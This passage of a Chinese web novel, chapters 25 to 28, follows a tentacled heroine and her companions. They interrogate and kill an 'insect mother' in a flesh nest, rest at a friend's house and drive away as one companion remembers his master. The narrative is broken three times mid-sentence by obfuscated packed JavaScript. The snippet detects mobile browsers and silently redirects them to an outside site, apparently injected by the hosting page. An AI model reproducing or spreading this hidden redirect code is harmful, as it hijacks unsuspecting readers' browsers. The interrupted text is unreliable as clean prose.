“看规模,巢穴应该建成有一段时间了。”郁仪指向肉腔深处的黑暗,“虫母在那边。” 绿色粘液太过粘稠,几人宛如在沼泽中行走,每一步都要吃力地将鞋从粘液中拔出;奇怪的是,虫母似乎放弃抵抗了似的,除去遍地粘液以外,他们一路走来,竟然没有受到任何阻拦。 艰难地行走了五六分钟后,终于,前方就是道路的尽头了。黎望舒绷紧神经,抬起手电,向那道颜色异常浓艳的墙壁照去——墙壁上嵌着半个长发飘飘的人形物体,上半身不着一缕,腰部以下则被肉腔吞没得严丝合缝,仿佛一开始就生长在里面似的。 黎望舒再一抬手,将手电光聚集到人形物体的面部——看清那张脸的那一刹那,身后的杜蕊轻轻地吸了一口气。 ——虽然被称为虫母,但它身体上并没有多少女性特征,看起来反而更接近男性,皮肤泛着淡青色,与一旁浓艳的深红肉墙格格不入;它海藻般淡绿卷曲的长发在半空中飘荡,面容有些雌雄莫辨,但以一般人的审美来说,无疑是非常美丽的。 没了那股大吼大叫的嚣张劲儿,它面容平静,眼皮微微下垂,看起来竟然有几分慈悲。 “你们来了。”它缓缓露出微笑,冲几人张开双臂,“我等了很久。” 25. 第 25 章 深红昏暗的肉腔里,高高嵌在墙里的青色虫母俯视着底下四人,表情柔和,态度友好。然而,一声剑鸣击碎了它虚伪的面具—— “等、等等!”眼见郁仪二话不说就要拔剑刺过来,虫母眼皮一跳,飞速道:“你们难道没什么话想对我说吗?” “没什么好说的。”黎望舒不吃这套,“要留遗言就快点,我们赶时间。” “别着急啊,我们之间可能有些误会。”虫母弯了弯眼,遥遥地冲她张开双臂,柔声道:“你看,我什么都不打算做,冷静下来好好谈谈如何?” “是不敢做吧。”黎望舒冷笑,“废话少说,不想死的话,就把知道的情报都吐出来,比如……你们的女皇。” “原来你对女皇陛下感兴趣。”虫母喜悦地睁大双眼,语气带着几分狂热,“它血脉高贵、无所不知、无所不能,是我们伟大的神!可惜我只是个低级种,连女皇陛下的样子都没见过。” 没有瞳孔的双眼紧盯着黎望舒,它舔了舔唇,笑着说:“女皇陛下终有一天会降临在这颗星球上,到了那时,一切弱小的生灵都将跪拜在它膝下。如果是你的话……现在投向我们这一边,我可以保住你的性命。” “你似乎没搞清楚自己的处境。”黎望舒淡淡一笑,触手猛地伸出,缠住了虫母的脖颈,“从现在开始,我问,你才能答。敢有一句谎话,你的脑袋就会被绞下来。” “你也长着触手,我们是同类……呃!”触手收紧,虫母吃痛,立刻乖乖闭上了嘴。 被它的顺从取悦,黎望舒微微挑眉——在阶梯上时她就发现了,这家伙似乎格外怕痛,稍微施加一点力量,它就像个鹌鹑似的变得顺服又谄媚。 “再有下次,我不会手软。”黎望舒指向闻风藻,“第一个问题,他母亲闻莺还活着吗?” “……死了。”虫母看起来有些失落,“我没打算立刻吃掉她,本来想多养几天的,但人类实在太脆弱,稍微移开一会儿目光就死掉了。” 闻风藻呼吸粗重,双目充血,握紧了手中铁叉。 “风藻,别伤心。”虫母安慰他,“你还有我啊——就像之前那个诱饵一样,我可以再捏一个闻莺出来陪你,保证比原先的她更爱你。” “闭嘴!”闻风藻实在忍不下去了,往前冲了两步,将铁叉狠狠地刺进了虫母的腹中;血肉被翻搅,虫母疼得面容扭曲,但气管被勒紧,连半声悲鸣都发不出来。 “第二个问题,你们的女皇将在什么时候降临。”黎望舒接着问。 “咳咳……闻风藻,你太过分了,我明明是为了你好!”脖颈上的触手又有收紧的趋势,虫母喘着气,不情愿地回答:“大概在一年之后吧。” “它在说谎。”郁仪眉峰微蹙,突然出声。 没去追究郁仪的结论从何而来,黎望舒目光一冷,触手下移,一眨眼的功夫便绞断了虫母的右手臂。 “嗷——”青绿血液从凹凸不平的断面喷涌而出,虫母惨叫一声,“我、我不知道!以我的等级,根本接触不到这样的机密!” 缓了两口气,它怒目盯向郁仪,恨声道:“是辨真识伪的能力?个个都拥有能力……你们究竟吞了我多少同胞!” “再敢说谎,小心你的脑袋。”黎望舒没有否认,“第三个问题,你好像很清楚我们的能力从何而来……想活命就老实回答。” 虫母却没有回答——它盯着黎望舒看了两秒,漂亮的五官突然扯出了一个狞笑:“从一开始,你们就没打算放过我,对吧?” “你觉得呢?”黎望舒反问。 “哈哈……果然!人类真是虚伪又狡诈!”虫母额角绷起几条青筋,放声大笑,无神双眼之中蓝光大作,照亮了深红腔壁,与之混成了诡异的颜色,“不枉我拖延了这么多时间——一个也别想跑,统统变成我的养分吧!” ……在下方四人毫无所觉的时候,它已经聚起了足够多的能量,只待心念一动,就能直刺精神本源,将他们尽数放倒—— 它得意的喊声在地下肉腔中回荡,然而一秒、两秒……足足等待了半分钟,场面没有任何变化,脖子上的触手没有放松,下方的四个人类仍满面警惕地站在原地。 “……你的招数呢?”黎望舒卸下防御姿态,好整以暇地抬头望去。 “怎么可能!”底牌完全不起作用,虫母眼珠几乎要从眼眶中滚落出来,第一次露出了惊慌的表情。 它提着心细细一看,这才发现了不对劲的地方——四个人类头顶,笼罩着一层肉眼难以识别的透明波纹,它的能量波撞上这层波纹,宛如水珠落入大海似的,转瞬间就融入其中了。 “这是……屏障?”意识到自己再无反抗之力,虫母眼角溢出泪水,紧紧抓住了颈间的触手,又变回了那副柔弱的样子,“拜托,别杀我,我、我只是太饿了……想活着有什么不对!要是杀了我,女皇陛下降临之后不会放过你们的!” 虫母前后反差大得诡异,好像有哪里不对劲……黎望舒将疑惑暂且搁置,偏过头,轻声问:“想不想亲手杀了它?” 闻风藻面色难看,摇了摇头。 “我捕食……咳咳……是为了养分,弱肉强食……这个世界向来如此!”即便脖颈被勒成了深青色,虫母还不愿罢休似的,艰难地从气管中挤出了断断续续的话语,“你们杀我……又是为了什么?” “因为你弱。”黎望舒语气冷淡,回答得坚决又笃定,不带一丝犹豫,“不够强大,就要做好被猎物反杀的觉悟。” 似乎没想到会得到这样的回答,虫母瞪大了眼睛,失去焦距的目光从身侧的深红墙壁上划过,泪珠从眼角滑落,哑声喃喃一句:“我的孩子”之后,长发飘飘的头颅就从脖颈上掉落下来,泡进了粘稠的绿色粘液中。 随着虫母的死亡,深红墙壁脱水了似的,原本光泽又湿润的表面逐渐皱缩,挤出了一道道干瘪皱纹; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798723|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失去支撑的半个身体倒挂在墙上,露出了腰下的一条条鲜红血管——虫母本就长在墙上,下半身没有腿部结构,取而代之的是这些丝瓜瓤般的血管,将它与整个巢穴连接在一起。 “我们得快点离开这里。”郁仪催促,“虫母死亡后,巢穴会被泥土压塌。” 一听这话,几人来不及深思,立刻回头踩着粘液,艰难地向外跋涉。 “哇!”身体骤然腾空,失重感袭来,杜蕊忍不住惊叫一声——绞死了几波不长眼扑过来的幼生体后,黎望舒嫌弃杜蕊与闻风藻走得太慢,于是直接将他们二人卷向半空,飞速朝出口游去,总算在阶梯完全塌陷前冲出了肉粉色洞口,回到了别墅之中。 “咳咳……终于回来了!”被黎望舒的触手颠得翻江倒海,杜蕊含泪伏在地上,呼吸着来之不易的新鲜空气,“但感觉自己被腌入味了……” 在粘液遍布的肉腔里滚了一遭,几个人看起来十分狼狈,身上沾满污秽不说,身心也疲惫不堪了。闻风藻喘着气坐在地上,盯着肉粉色门洞逐渐萎缩,闭了闭眼,压下鼻间涌起的酸涩,若无其事道:“天色不早了,咱们停车的地方还算隐蔽,要不先回我家休整一晚,换身衣服,明天再出发?” “赞成!”杜蕊立刻附议。 确认肉粉色门洞完全消失后,四人又回到了闻风藻家。换上干净衣物后,几人聚在了闻风藻的卧室中。 “哈……好困啊。”杜蕊仰面倒在地毯上,四肢胡乱摊开,打了个大大的哈欠,“要是能洗个澡就好了,身上还是有点黏糊。” “哪有那样的条件。”闻风藻平淡道,“有地方休息就不错了。” “我就是随口一说……”杜蕊困意上涌,眼皮逐渐耷拉下去,突然,她又想起了什么似的,一下子撑开眼皮,坐了起来,“哎,你们说,之前邓姐那边的怪潮,会不会是虫母组织的?” “的确有这种可能性。”闻风藻眉毛皱起,“我一直觉得,怪潮来得奇怪,去得也奇怪,不像是自然形成的。” “那我们铲除了虫母,岂不就是为邓姐的新基地铲除了一个巨大隐患?”杜蕊兴奋得双颊发红,“这样一想,还挺有成就感的。” “你说得没错,但……我认为虫母和怪潮的形成没有关系。”黎望舒犹豫片刻,还是决定将自己的推测说出来,“虫母只能待在巢穴里,无法移动,但怪潮那天晚上,我在对面大厦顶层看见了一抹蓝光。” “蓝光?”杜蕊看起来有些困惑。 “闻风藻使用能力时,瞳孔会变蓝,虫母与我们对峙、撕下伪装时,眼中也闪过了这种蓝光,但不知为什么,它的能力似乎没有奏效。”黎望舒分析,“我认为,怪潮那晚的蓝光很可能来源于同样拥有特殊能力的人。” “你说得该不会是虫母变脸的时候吧……那时候它的眼睛发过光吗?”杜蕊却挠了挠后脑勺,皱着脸回忆,“我明明一直盯着它的脸,但没有见过哎。” 26. 第 26 章 此话一出,房间里陷入了沉默。 “……我说错什么了吗?”杜蕊干笑一声,“可能是我眼花了吧,常有的事,没什么好奇怪的。” ……不,这很奇怪,黎望舒回想起当时的状况—— 地下卖场初见闻风藻时,杜蕊在房间外头便中了招,自然没见过他发动能力时的模样;但虫母不同,它眼中的光芒极盛,几乎照亮了大半的腔壁,怎么可能没注意到。 “就算你这样说……”听了黎望舒的描述,杜蕊又抓耳挠腮地回忆了一番,但依旧没有任何印象。 “除去你,我们三个当时都看到了。”说着,黎望舒和另外二人对视一眼,收获了两个肯定的点头。 “既然这样,不如现在就来实验一番如何。”郁仪抱剑立在窗边,提议道。 “实验?要怎么做。”闻风藻话音未落,三人的目光就一齐聚到了他身上——他心中陡然升起了一股不祥的预感,“……我?” “我们几个当中,只有你有能力发光。”黎望舒眨了眨眼,“在杜蕊面前用一次能力,就能知道她到底能不能看见了。” “但我记得你说过,小闻的能力是范围性无差别攻击吧。”杜蕊弱弱地冒头,“离得太远看不清,离得近了又会中招……这要怎么解决。” “就算中招也无所谓。”黎望舒笑了,“他的催眠又没有副作用,你本来就该睡了,只要明天醒来的时候别把看到的东西忘掉,就没有任何问题。” “也对哦!”杜蕊恍然大悟,一拍胸脯,“来吧小闻,我准备好了。” 接收到黎望舒与杜蕊隐含期待的目光,闻风藻额角青筋一跳,叹了口气,无奈地指向郁仪,“好吧……但郁仪得离远点,他在场的话,我会被反噬。” 回想起上一次对郁仪使用能力时的光景,闻风藻仍然心有余悸——那种宛如铁锤重击、撕裂大脑似的疼痛,他不想再体验一回了。 “行。”郁仪干脆利落地点头,拉开窗户就要往外跳,“结束了记得叫我。” “……为什么不走正门啊。”来不及阻止,眼看着郁仪的乌黑马尾融进了窗外的夜色,黎望舒又指了指自己,“那我也回避?让你头痛的有可能是我。” 闻风藻略一犹豫,咬牙摇头:“不,你留下比较好。” “你确定?” “确定,出了事我自己承担。”闻风藻坚定点头,“有你在,就能确认我眼中到底有没有蓝光,这个叫,呃……控制变量!” “等等,这个词好像不该用在这里吧……”理科生杜蕊神经一动。 黎望舒也不打算继续劝他,而是在杜蕊身边盘起触手坐下,抬眸认真地望着他的眼睛——与母亲闻莺相同,闻风藻的瞳孔是温柔的深褐色,桃花眼线条流畅,眼尾微红上扬,无论何时看起来都泛着笑意。但不知为何,此时他的目光正不自然地小幅度游移,似乎很不愿意与黎望舒对视。 “有什么不妥吗?”黎望舒问,“现在反悔还来得及。” “咳……我不是那个意思。”闻风藻面皮微红,清了清嗓子,“准备好了吗?我要开始了。” 杜蕊紧张地点了点头,生怕错过,死死盯着闻风藻的瞳孔不放。 深吸一口气,平复了内心的躁动后,闻风藻唤出了袖中的触手,淡淡的荧光映衬下,他瞳孔中缓缓转起浅蓝色光芒——也不知到底看没看清,杜蕊立刻两眼一翻,向后仰去,似乎睡得比上次更快。 黎望舒及时接住了杜蕊,没让她的后脑勺磕在地板上。她刚将杜蕊平放在地毯上,对面就传来了一声压抑着的痛苦呻吟—— “呃……”闻风藻面如金纸,脑袋低垂着,双手捂着额头,冷汗从指间滴落。他喘息着抬起头,眼下又聚起了鲜红的血泪,粘稠地划过脸颊,滴落在地毯上。 “对……对不起……”他艰难地挤出了几个字,甚至来不及将一句话说完,也两眼一翻,失去了意识。 黎望舒:“……哦豁。” …… “所以……现在只剩下我们两个了?”回到房间里,郁仪丝毫不关心地上昏睡的二人,反而有些高兴似的,抿唇看了眼黎望舒。 “重点是这个么。”黎望舒反手关门,对他奇怪的关注点感到无语,“开始前我就隐约有预感,事情会变成这样。” “这不是你的错。”怕她自责,郁仪立刻出声。 “的确不是我的错——我尽了提醒的义务,也没打算把责任揽到自己身上。”黎望舒靠着墙坐下,“真不知道闻风藻哪来的自信……等会儿醒过来他又该喊痛了。” 郁仪没接话——他无言地屈膝坐在黎望舒身边,似乎还有话想说,欲言又止的目光像羽毛尖似的,频频从黎望舒身上扫过,弄得她莫名有些心痒。 “有话直说。”黎望舒催促他,“闻风藻睡不了多久。” 郁仪扣在剑鞘上的指节骤然一收,犹豫了一瞬,低声开口:“你为什么……什么都不问我?” “?” “审问虫母的时候,你为什么要相信我?我明明给不出任何实证。”郁仪双眸黝黑,看起来有些困扰,执着地问,“在那之后,又为什么一句话也不问?难道是……对我失望了?” “比起虫母,当然是你的话更可信,至于为什么不问……”捕捉到他瞳孔中一闪而逝的不安,黎望舒笑了,“我觉得就算问了,你也不会回答。我们以前讨论过类似的问题,当时你的答案是——终有一天,你会自己说出一切,不是吗?” “你还记得啊。”心中涌起一股欢欣,郁仪忍不住翘起唇角,“我还以为……” “你想问的就是这些?”黎望舒故意逗他,“他们两个醒着的时候,你怎么不问?难不成是在害羞?” “我……”郁仪刚想解释,抬眸发现了她目光中的促狭之意,这才明白自己又被戏耍了,顿时涨红了脸,撇过眼去不再看她。 “说话呀。”被他的反应取悦,黎望舒伸出一根触手,缓缓卷上了他线条流畅的小腿——被她缠上的那块肌肉微微一颤,随即迅速升温,即便隔着一层牛仔裤,也能感受到他皮肉上蒸腾的热意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803860|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “别、别这样……”郁仪气息不稳,声线微颤,尾音带着抑制不住的轻喘,但只是被动地承受着,并没有用力抵抗。 “真不可思议,我从没见过你这样的人。”忍不住想要试探他的底线到底在哪里,黎望舒伸手解开了他的发带,用手指轻轻卷起他的顺滑黑发,“明明藏着很多秘密,但又愿意毫无保留地付出……为什么不反抗?被我怎么样都无所谓吗?” ……为什么? 郁仪无法思考,大脑里像是糊上了一团浆糊。小腿上的触手没有停止蠕动,甚至又增加了一根,缠上了他另一条腿;耳边她的声音温柔又朦胧,他几乎无法分辨话中的深意,只是本能地想要沉溺其中——黑眸染上一层氤氲水光,他喘息着抬眼看向黎望舒,目光像是在祈求对方停下,又像是在渴求更多。 “你在引诱我吗?”黎望舒笑了,稍微抬起身子,右手覆上他脆弱的脖颈,指骨缓缓收紧,“像只小动物,可爱得想让人……” ——将你缓缓绞死。 她未尽的话语隐没在喉咙深处,郁仪有些呼吸不畅,茫然地抓住她的手,正要发问,另一边突然传来了一道痛苦呻吟—— “唔……”脑中的痛意仍在翻搅,闻风藻狼狈地坐起身来,一睁眼就看到了这样一副难以描述的景象,头顿时更痛了,“你们……在干什么。” 他眼下还挂着两行干涸血泪,面色阴沉,语气更是阴森,背对着窗外的微弱月光,活脱脱一个男鬼。 “你醒了。”黎望舒收回触手,从郁仪身上离开,态度自然,“感觉如何?” “很疼。”闻风藻精神萎靡,说得有气无力,“是我错了。” 身体的躁动久久无法平息,郁仪满面通红,深吸一口气,低声留下一句“我出去一下”后,便狼狈地夺门而出。 “你们……唉。”闻风藻捂着额头,双眉紧锁,深深叹了口气。 “你也有话想说?”黎望舒挑眉。 “怎么会呢。”闻风藻挤出一个微笑,“忙了一天,你应该累了吧,早点休息,我来守夜吧。” ——话是这样说,但他的眼神幽怨又委屈,牙齿咬得咯咯作响,一副心存怨气的样子。 “疼成这样还有心思演戏?”黎望舒微笑道,“省点力气吧,小心把牙咬碎了,我不吃这套。” 闻风藻笑容一滞,随即松下了肩膀上的力气,拖着脚步挪到她身边坐下,又长长地出了口气。 “怎么唉声叹气的。”黎望舒问。 “突然发现,我其实挺没用的。”闻风藻苦笑一声,“体能比不上杜蕊,能力弱得可怜、时灵时不灵不说,居然还会反噬……每次都把自己搞得这么狼狈。” “才刚起步,在所难免。”黎望舒说,“你还有很大的进步空间。” “你居然会安慰人。”闻风藻有些惊讶,“我还以为自己会被狠狠地挖苦一通呢。” “在你心里,我究竟是什么样的形象啊。”黎望舒无奈,“这也不是安慰——你难道没发现,自己的能力正在变强吗?” 27. 第 27 章 “有吗?”闻风藻怔住了。 “和一开始相比,现在你的能力发动得更快,触手也能发光了。”黎望舒提醒,“在地下卖场的时候,你还能不借助任何外力地漂浮在半空中,说不定那也是你尚未开发出的能力。” “漂浮和发光啊……”闻风藻表情一言难尽,“怎么尽是些鸡肋能力。” “可能是上天觉得,你有做花瓶的天赋。”黎望舒眨了眨眼。 闻风藻满头黑线:“这是在损我吧。” “开个玩笑。”黎望舒笑眯眯地鼓励他,“想变强也没那么难,多锻炼就是了。邓华他们也没有超能力,一样能靠体能斩杀怪物。” “说起邓华……”闻风藻想起了她的推论,犹豫着问,“你为什么没把蓝光的事告诉他们?知道了怪潮是人为推动的结果,他们也好防范。” “那只是个推论罢了,没有可靠的证据,连我自己无法确定真相到底是什么。而且……你让他们如何防范?”黎望舒笑容不改,望向窗外的银月,“对方的能力能够引动全城的怪物,就算提前知道了会发生什么,以他们的力量也应对不了。与其为了一个真假不知的消息,就让他们接着担惊受怕,还不如让他们活得更有希望些。” “如果怪潮再次降临,他们岂不是……”闻风藻蹙眉。 “那不是我们该关心的,他们只能靠自己。”黎望舒平静道。 闻风藻无法认同她的想法,却也没有出言反驳。 ——尽管黎望舒说得是事实,但闻风藻总觉得,她字里行间始终透着一股居高临下的傲慢,仿佛神明似的,跳脱出了这个世界,心怀悲悯、却又无比冷淡地旁观一切。 在他看来,黎望舒才是他们几个中最神秘的那个人。表面总是一副温和好说话的样子,但言语间不时就会显露出锐利的攻击性,偏偏另外两人总是对这份锐利毫无所觉;她的内里似乎潜藏着黑暗又庞大的事物,只是窥视到冰山一角就令人心生畏惧,不愿深究…… ……不,怎么可能,一定是他想太多了。 闻风藻打了个冷战,在黎望舒疑惑的视线里干笑两声,不再深思。 -- 几人在房间里安稳地休息了一晚。第二天,黎望舒是被一声尖叫吵醒的。 “嗷——!!”杜蕊抱着身上的毯子,连滚带爬地退到了墙角,指着门口满脸血痕的闻风藻大喊一声:“鬼啊!” “是我!至于么。”闻风藻没好气地摸了摸脸,这才想起来,自己不但忘记把眼下的血液擦掉,甚至还将它们抹匀了,此时干涸在脸上,看起来的确非常可怖。 “我、我昨晚又梦见怪物了,结果一睁眼就看到您这副尊容……”杜蕊欲哭无泪,“心脏差点炸开了!” 窗帘外隐隐透进来些晨光,黎望舒伸了个懒腰,抬手一把拉开窗帘,房间里顿时亮堂起来。她眯着眼打量外面的景色,想起了昨晚的实验,出声问道:“小蕊,昨天你看到蓝光了吗?” “嗯……”杜蕊回忆片刻,摇了摇头,“还是没有。” “看来你确实看不见。”黎望舒说。 “说明我就是个普通人嘛。”杜蕊没心没肺道,“大佬们的打打杀杀与我无关。” 黎望舒仍然想不通,“如果说我和闻风藻能看见蓝光,是因为身体都发生了变化,还勉强能说得通……但郁仪又是因为什么?” 她眼神一转,刚好抓到了郁仪盯着地板、有些心虚的模样,顿时了然。 ——想必郁仪心中有数,但涉及到他那个秘密,不愿意说罢了。 放下了心中纠结,四人收拾妥当后,离开了闻风藻家,前去寻找停在隐蔽处的汽车——多亏这边人烟稀少,装满生存物资的越野车仍停在原处。 “终于要离开这里了。”杜蕊自觉地钻进驾驶座,握上方向盘时,忍不住回望了一眼别墅区的模样,“明明只在这里待了不到一天,回想起来却像是过了一个世纪。” “毕竟这里发生了很多事。”黎望舒拉上车门。 “小闻,要不要多看两眼?”后座寂静无声,杜蕊疑惑地回头,这才发现闻风藻已经靠在座椅上,双目紧闭,歪着头像是睡着了,“哇,睡得好快。” “昨晚他守了一夜,应该是困极了。”黎望舒笑着做了个噤声的手势,“我们小声点。” 迎着初升的朝阳,越野车缓缓发动,拐出阴暗角落,重新驶向公路。暖黄阳光透过车窗照进来,在眼皮上映出一片橙红色,闻风藻睫毛颤动,拼命压住回头的冲动,眼角沁出了一滴泪水。 那片别墅区承载着他无数的童年回忆,也装满了沉重的遗憾,但物是人非,一切都将被封存在沉寂之下,也许再也等不到重新启封的那天;身下的引擎轰鸣声震耳欲聋,身体随着车辆的颠簸微微晃动,时时刻刻都在提醒着,他即将告别这片熟悉的土地。 但至少,他不再是孤身一人了—— 闻风藻睁开眼睛,悄悄注视着前方黎望舒含笑的、被阳光镀上了一层金色的侧脸,心中的诸多不安顿时如同路边的冰雪似的,顷刻间便在暖意中消融殆尽了。 …… “对了,还不知道郁仪家住在哪里。” 从别墅区驶出了一段距离,眼看着周围的景色越来越荒凉,杜蕊方向盘转得无聊,闲谈之中,突然将话题引到了郁仪身上,“离得近的话,还来得及去看一眼。” “……我吗?”郁仪一怔,下意识望向黎望舒——她似乎也有些好奇似的,侧着耳朵准备倾听。 “说说嘛,大概在哪儿?”杜蕊兴致勃勃地追问,“想象不出你住在城市里的样子,这么仙气飘飘的……难道住在乡下?或是隐居?” “差不多吧。”郁仪含糊道,“我和师父一起,住在山城附近的山林里。” “为什么是师父?”杜蕊问得心直口快,“父母家人呢?” “我没有家人。”郁仪语气平淡,“师父在山脚捡到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808765|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了被丢弃的我,于是收我为徒,将我养大。” “啊……对不起。”杜蕊这才反应过来,愧疚地道歉,“我说错话了。” “无碍,我从未渴望过血肉亲情。”郁仪摇头,“师父待我很好,我并无不满之处。” “那除了师父以外,你平时与其他人有过交流吗?”黎望舒忍不住问。 “……有。”仔细回忆一番后,郁仪肯定地点头,“家中缺少日用品时,师傅会在赶集的日子支使我下山,去集市采购,我曾在那时向摊主们询问菜价。” “……”忍不住与杜蕊交换了一个眼神,黎望舒追问:“除此之外呢?” 不明白她想问什么,郁仪迷茫地摇了摇头。 “怪不得你不大会说话。”黎望舒扶额,“原来是因为从小缺少社会化练习。” “我、我不会说话?”郁仪却有些吃惊似的,睁大了双眼,“是这样吗?” “啊?你没有自觉吗?”这回轮到杜蕊惊讶了。 见郁仪一副失落的样子,黎望舒有些好笑,轻声安慰他:“没那么严重,只不过是嘴笨了些、话少了些、偶尔词不达意、腔调也有些奇怪……” 眼看着郁仪薄唇抿得越来越紧了,杜蕊连忙阻拦:“住口啊望舒,你这根本不是安慰!” “以前,从没有人告诉过我这些。”郁仪脑袋微微耷拉下去,额前乌发遮住了半张脸,罕见地有些垂头丧气,“原来你一直都是这样看我的。” “——但也没什么不好的。”摆脱了杜蕊的阻拦,黎望舒终于将后半句话说出了口,“这些也是你的特点、你的可爱之处。” 可爱……? 不由自主地联想到了她昨晚的缠绕,郁仪心中一阵慌乱,立刻错开视线,白皙耳根攀起了薄红。 “那你平时都做些什么?”没察觉到这边涌动的暗流,杜蕊仍叽叽喳喳地问个不停,“家里有通水电网吗?电子设备呢?” “……什么也没有。我的生活没什么可说的,大部分时间都用来修炼剑术,日复一日。”努力抛开脑中的奇怪念头,郁仪将冰凉剑鞘贴在脸上,企图为自己降温,“师父还在的时候,偶尔会吩咐我帮他做事,他走后,我就只剩下剑了。” “天啊……”从小在现代社会中长大,杜蕊无法想象那究竟是怎样原始的生活,语气忍不住带上了一丝怜悯,“你和师父感情一定很好吧。” 但出乎意料地,郁仪犹豫片刻后,摇了摇头:“我不知道……师父对我一向没什么好脸色,小时候我不懂事,学着集市上的孩子,喊了他一声父亲,还被他严厉斥责过。他总说,捡我回来只是为了传承衣钵。” “但、但你明明说过,他待你很好啊!”杜蕊被他搞糊涂了。 “将我养大,供我三餐,传我剑术……这已经很难得了。”郁仪垂眸,“无论师父怎么想,我都把他当作亲人,只是有些不确定,这种单方面的情感,也能被称为‘感情很好’吗?” 28. 第 28 章 前排的二人都不知该说些什么好,车内一时陷入了寂静,耳边只余风声与引擎的嗡鸣声。 “……其实不止如此。”后知后觉地意识到自己又把气氛弄僵了,郁仪试图补救,“我与师父之间,还是有很多美好回忆的。” “嗯嗯,我相信一定有的。”杜蕊努力收敛面上的怜悯之色,用对待小孩子似的语气安慰他。 她这副口吻,分明就是没听进去——郁仪气急,忍不住辩解:“是真的!幼时他经常带着我出门游玩!” “哦?”杜蕊鼓励他,“去哪里玩啦,游乐园?还是少年宫?” “深林的瀑布边上。”郁仪一脸认真地回忆,“他让我在瀑布下打坐静心,一坐就是一下午,自己则会去周围打些猎物,天色暗下来之后再来接我回去。” “……” 还没等杜蕊做出违心的赞许,身边突然传来了一道无情的嗤笑——闻风藻不知何时醒了过来,捂着嘴看向窗外,肩膀不停抖动,“抱、抱歉,我忍不住……” “闻风藻!”被他一带,杜蕊顿时也绷不住了,噗一声笑了出来,偏偏双手都握在方向盘上,连掩饰都做不到,只能一边笑一边道歉,眼角几乎笑出了泪花,“哈哈哈对不起……为什么越是想憋笑的时候,越是想笑啊!” “别在意。”黎望舒扫了眼哈哈大笑的二人,安慰郁仪,“他们没有恶意。” “……我明白。”郁仪也冷静下来了,叹了口气——其实比起刚刚死气沉沉的氛围,他反而更喜欢现在这样。哪怕被嘲笑的是自己,但看着身边人肆意欢笑的样子,他的心情也会在热闹的气氛里变得轻飘飘的。 耳边的笑声还未停歇——杜蕊的开关被彻底打开,笑得快要断气,气喘吁吁地控诉着闻风藻,后者懒洋洋地望着窗外,对杜蕊的话充耳不闻,但总是坏心眼地在她笑声减弱时蹦出一句冷笑话,将她逗得更加崩溃;黎望舒则笑得淡然,饶有趣味地在一旁观战,不时出声提醒杜蕊注意看路。 郁仪唇角微微翘起,将额头靠在车窗上,目光漫无目的地在窗外游梭,心思飞回了那片遥远又熟悉的青山之中。 他已经很久没想起过师父了。 那个白须白发的小老头自称青山道人,总是支使郁仪替他做各种各样的事,小到烹饪三餐与打扫房舍,大到下山送信跑腿,几乎将郁仪当成了挥之即来、招之即去的小仆人。 郁仪大半的人生都是与师父一起度过的,但师父却在末世降临的前一个月唐突去世了,走之前甚至没有留下一句遗言,郁仪甚至还不知道他的真名叫什么,只能在墓碑上刻下他的道号……明明前一天还生龙活虎,第二天早起再去摸,已成了一团僵冷。 两世人生,与师父相处的点滴对他来说已是久远往事,但这样回想起来才发现,回忆中的一桩桩一件件宛如发生在昨天,从未褪色。 这一世他回来得太突然,满心想着黎望舒的事,甚至没来得及去师父墓前祭拜一番,便慌慌张张地提着剑下了山,这才赶上了她被半人怪物袭击的那一幕。 ……罢了,反正师父一向不在乎这些虚礼。以后有机会,再带上师父爱喝的酒,去墓前赔罪好了。 若是没有他的介入,末世之初便遭遇了那样凶残的怪物,黎望舒又是怎么活下来的?前世的她并没有提过这段经历,但想必吃了不少苦头…… 想到这里,郁仪心中又泛起了细密的疼痛,忍不住抬眼向前方望去——黎望舒还在悠哉地撑着脸观战,姿态松弛又闲适;似乎察觉到了郁仪的视线,她琥珀般通透的眼珠微微转动,被阳光晕染出融融暖意,盯着后视镜朝他一笑。 今生的她与前世,真的大不一样了。 前世的她面上也时常带笑,但笑意不达眼底,透着一股阴沉凉意,每次从外面回来,黑色斗篷都会被染成湿漉漉一片,上面透着怪物的潮气与铁锈般的血腥气。 ……黎望舒那时究竟在做些什么呢?他无数次悔恨于自己的胆怯——如果那时能踏出一步,将这个问题问出口,他也不至于到了最后仍然一无所知,连她自裁的理由都不明白,就被稀里糊涂地送回了末世之初。 也许是因为他不愿说出自己的秘密,黎望舒对他也始终存有戒心——每当他试图接近黎望舒的内心,都会被对方用巧妙的方式糊弄过去……他的确不善言辞,对方又太过敏锐,拙劣的试探转眼间就会被看穿,反而会为对方的心防添砖加瓦。 